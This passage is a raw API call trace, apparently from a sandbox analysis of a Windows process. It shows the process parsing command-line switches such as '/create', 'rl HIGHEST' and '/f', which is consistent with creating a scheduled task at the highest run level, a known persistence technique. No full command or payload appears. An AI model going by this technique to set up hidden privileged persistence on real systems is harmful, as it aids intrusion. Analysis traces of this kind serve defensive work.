(lpString="?") returned 1 [0113.119] lstrlenW (lpString="?") returned 1 [0113.119] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.119] lstrlenW (lpString="rl") returned 2 [0113.119] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.119] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.119] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.119] lstrlenW (lpString="|?|") returned 3 [0113.119] lstrlenW (lpString="|rl|") returned 4 [0113.119] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.119] lstrlenW (lpString="s") returned 1 [0113.119] lstrlenW (lpString="s") returned 1 [0113.119] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.119] lstrlenW (lpString="rl") returned 2 [0113.119] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.119] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.119] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.119] lstrlenW (lpString="|s|") returned 3 [0113.120] lstrlenW (lpString="|rl|") returned 4 [0113.120] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.120] lstrlenW (lpString="u") returned 1 [0113.120] lstrlenW (lpString="u") returned 1 [0113.120] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.120] lstrlenW (lpString="rl") returned 2 [0113.120] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.120] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.120] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.120] lstrlenW (lpString="|u|") returned 3 [0113.120] lstrlenW (lpString="|rl|") returned 4 [0113.120] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.120] lstrlenW (lpString="p") returned 1 [0113.120] lstrlenW (lpString="p") returned 1 [0113.120] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.120] lstrlenW (lpString="rl") returned 2 [0113.120] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.120] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.120] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.120] lstrlenW (lpString="|p|") returned 3 [0113.120] lstrlenW (lpString="|rl|") returned 4 [0113.120] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.121] lstrlenW (lpString="ru") returned 2 [0113.121] lstrlenW (lpString="ru") returned 2 [0113.121] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.121] lstrlenW (lpString="rl") returned 2 [0113.121] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.121] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.121] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.121] lstrlenW (lpString="|ru|") returned 4 [0113.121] lstrlenW (lpString="|rl|") returned 4 [0113.121] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0113.121] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.121] lstrlenW (lpString="rp") returned 2 [0113.121] lstrlenW (lpString="rp") returned 2 [0113.121] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.121] lstrlenW (lpString="rl") returned 2 [0113.125] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.125] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.126] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.126] lstrlenW (lpString="|rp|") returned 4 [0113.126] lstrlenW (lpString="|rl|") returned 4 [0113.126] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0113.126] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.126] lstrlenW (lpString="sc") returned 2 [0113.126] lstrlenW (lpString="sc") returned 2 [0113.126] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.126] lstrlenW (lpString="rl") returned 2 [0113.126] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.126] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.126] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.126] lstrlenW (lpString="|sc|") returned 4 [0113.126] lstrlenW (lpString="|rl|") returned 4 [0113.126] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0113.126] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.126] lstrlenW (lpString="mo") returned 2 [0113.126] lstrlenW (lpString="mo") returned 2 [0113.126] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.126] lstrlenW (lpString="rl") returned 2 [0113.126] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.126] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.127] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.127] lstrlenW (lpString="|mo|") returned 4 [0113.127] lstrlenW (lpString="|rl|") returned 4 [0113.127] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0113.127] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.127] lstrlenW (lpString="d") returned 1 [0113.127] lstrlenW (lpString="d") returned 1 [0113.127] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.127] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.127] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|d|") returned 3 [0113.127] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.127] lstrlenW (lpString="|d|") returned 3 [0113.127] lstrlenW (lpString="|rl|") returned 4 [0113.127] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.127] lstrlenW (lpString="m") returned 1 [0113.127] lstrlenW (lpString="m") returned 1 [0113.127] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.127] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.127] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|m|") returned 3 [0113.127] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.127] lstrlenW (lpString="|m|") returned 3 [0113.127] lstrlenW (lpString="|rl|") returned 4 [0113.128] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.128] lstrlenW (lpString="i") returned 1 [0113.128] lstrlenW (lpString="i") returned 1 [0113.128] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.128] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.128] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|i|") returned 3 [0113.128] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.128] lstrlenW (lpString="|i|") returned 3 [0113.128] lstrlenW (lpString="|rl|") returned 4 [0113.128] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.128] lstrlenW (lpString="tn") returned 2 [0113.128] lstrlenW (lpString="tn") returned 2 [0113.128] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.128] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.128] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.128] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.128] lstrlenW (lpString="|tn|") returned 4 [0113.128] lstrlenW (lpString="|rl|") returned 4 [0113.128] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0113.128] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.128] lstrlenW (lpString="tr") returned 2 [0113.128] lstrlenW (lpString="tr") returned 2 [0113.129] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.129] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.129] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.129] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.129] lstrlenW (lpString="|tr|") returned 4 [0113.129] lstrlenW (lpString="|rl|") returned 4 [0113.129] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0113.129] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.129] lstrlenW (lpString="st") returned 2 [0113.129] lstrlenW (lpString="st") returned 2 [0113.129] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.129] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.129] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|st|") returned 4 [0113.129] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.129] lstrlenW (lpString="|st|") returned 4 [0113.129] lstrlenW (lpString="|rl|") returned 4 [0113.129] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0113.129] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.129] lstrlenW (lpString="sd") returned 2 [0113.129] lstrlenW (lpString="sd") returned 2 [0113.129] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.129] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.130] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sd|") returned 4 [0113.130] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.130] lstrlenW (lpString="|sd|") returned 4 [0113.130] lstrlenW (lpString="|rl|") returned 4 [0113.130] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0113.130] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.130] lstrlenW (lpString="ed") returned 2 [0113.130] lstrlenW (lpString="ed") returned 2 [0113.130] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.130] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.130] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ed|") returned 4 [0113.130] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.130] lstrlenW (lpString="|ed|") returned 4 [0113.130] lstrlenW (lpString="|rl|") returned 4 [0113.130] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0113.130] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.130] lstrlenW (lpString="it") returned 2 [0113.130] lstrlenW (lpString="it") returned 2 [0113.130] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.130] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.130] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|it|") returned 4 [0113.131] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.131] lstrlenW (lpString="|it|") returned 4 [0113.131] lstrlenW (lpString="|rl|") returned 4 [0113.131] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0113.131] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.131] lstrlenW (lpString="et") returned 2 [0113.131] lstrlenW (lpString="et") returned 2 [0113.131] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.131] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.131] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|et|") returned 4 [0113.131] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.131] lstrlenW (lpString="|et|") returned 4 [0113.131] lstrlenW (lpString="|rl|") returned 4 [0113.131] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0113.131] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.131] lstrlenW (lpString="k") returned 1 [0113.131] lstrlenW (lpString="k") returned 1 [0113.131] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.131] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.131] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|k|") returned 3 [0113.131] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.131] lstrlenW (lpString="|k|") returned 3 [0113.131] lstrlenW (lpString="|rl|") returned 4 [0113.132] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.132] lstrlenW (lpString="du") returned 2 [0113.132] lstrlenW (lpString="du") returned 2 [0113.132] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.132] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.132] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|du|") returned 4 [0113.132] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.132] lstrlenW (lpString="|du|") returned 4 [0113.132] lstrlenW (lpString="|rl|") returned 4 [0113.132] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0113.132] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.132] lstrlenW (lpString="ri") returned 2 [0113.132] lstrlenW (lpString="ri") returned 2 [0113.132] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.132] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.132] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ri|") returned 4 [0113.132] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.132] lstrlenW (lpString="|ri|") returned 4 [0113.132] lstrlenW (lpString="|rl|") returned 4 [0113.132] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0113.132] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.132] lstrlenW (lpString="z") returned 1 [0113.133] lstrlenW (lpString="z") returned 1 [0113.133] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|z|") returned 3 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.133] lstrlenW (lpString="|z|") returned 3 [0113.133] lstrlenW (lpString="|rl|") returned 4 [0113.133] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.133] lstrlenW (lpString="f") returned 1 [0113.133] lstrlenW (lpString="f") returned 1 [0113.133] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.133] lstrlenW (lpString="|f|") returned 3 [0113.133] lstrlenW (lpString="|rl|") returned 4 [0113.133] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.133] lstrlenW (lpString="v1") returned 2 [0113.133] lstrlenW (lpString="v1") returned 2 [0113.133] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|v1|") returned 4 [0113.133] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.134] lstrlenW (lpString="|v1|") returned 4 [0113.134] lstrlenW (lpString="|rl|") returned 4 [0113.134] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0113.134] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.134] lstrlenW (lpString="xml") returned 3 [0113.134] lstrlenW (lpString="xml") returned 3 [0113.134] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.134] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.134] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|xml|") returned 5 [0113.134] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.134] lstrlenW (lpString="|xml|") returned 5 [0113.134] lstrlenW (lpString="|rl|") returned 4 [0113.134] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0113.134] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.134] lstrlenW (lpString="ec") returned 2 [0113.134] lstrlenW (lpString="ec") returned 2 [0113.134] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.134] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.134] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ec|") returned 4 [0113.134] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.134] lstrlenW (lpString="|ec|") returned 4 [0113.134] lstrlenW (lpString="|rl|") returned 4 [0113.134] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] lstrlenW (lpString="rl") returned 2 [0113.135] lstrlenW (lpString="rl") returned 2 [0113.135] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.135] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.135] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.135] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.135] lstrlenW (lpString="|rl|") returned 4 [0113.135] lstrlenW (lpString="|rl|") returned 4 [0113.135] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] lstrlenW (lpString="HIGHEST") returned 7 [0113.135] lstrlenW (lpString="-/") returned 2 [0113.135] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] lstrlenW (lpString="HIGHEST") returned 7 [0113.135] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.135] _memicmp (_Buf1=0x1b748cba8c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.135] lstrlenW (lpString="HIGHEST") returned 7 [0113.136] lstrlenW (lpString="HIGHEST") returned 7 [0113.136] lstrlenW (lpString=" \x09") returned 2 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0113.136] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0113.136] GetLastError () returned 0x0 [0113.136] lstrlenW (lpString="HIGHEST") returned 7 [0113.136] lstrlenW (lpString="HIGHEST") returned 7 [0113.136] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.136] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.136] lstrlenW (lpString="/f") returned 2 [0113.136] lstrlenW (lpString="-/") returned 2 [0113.136] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.136] lstrlenW (lpString="create") returned 6 [0113.136] lstrlenW (lpString="create") returned 6 [0113.136] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.136] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.136] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.137] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.137] lstrlenW (lpString="|create|") returned 8 [0113.137] lstrlenW (lpString="|f|") returned 3 [0113.137] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0113.137] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.137] lstrlenW (lpString="?") returned 1 [0113.137] lstrlenW (lpString="?") returned 1 [0113.140] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.140] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.140] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.140] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.140] lstrlenW (lpString="|?|") returned 3 [0113.140] lstrlenW (lpString="|f|") returned 3 [0113.140] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0113.140] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.140] lstrlenW (lpString="s") returned 1 [0113.140] lstrlenW (lpString="s") returned 1 [0113.140] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|f|") returned 3 [0113.141] lstrlenW (lpString="|s|") returned 3 [0113.141] lstrlenW (lpString="|f|") returned 3 [0113.141] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0113.141] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.141] lstrlenW (lpString="u") returned 1 [0113.141] lstrlenW (lpString="u") returned 1 [0113.141] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.141] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, 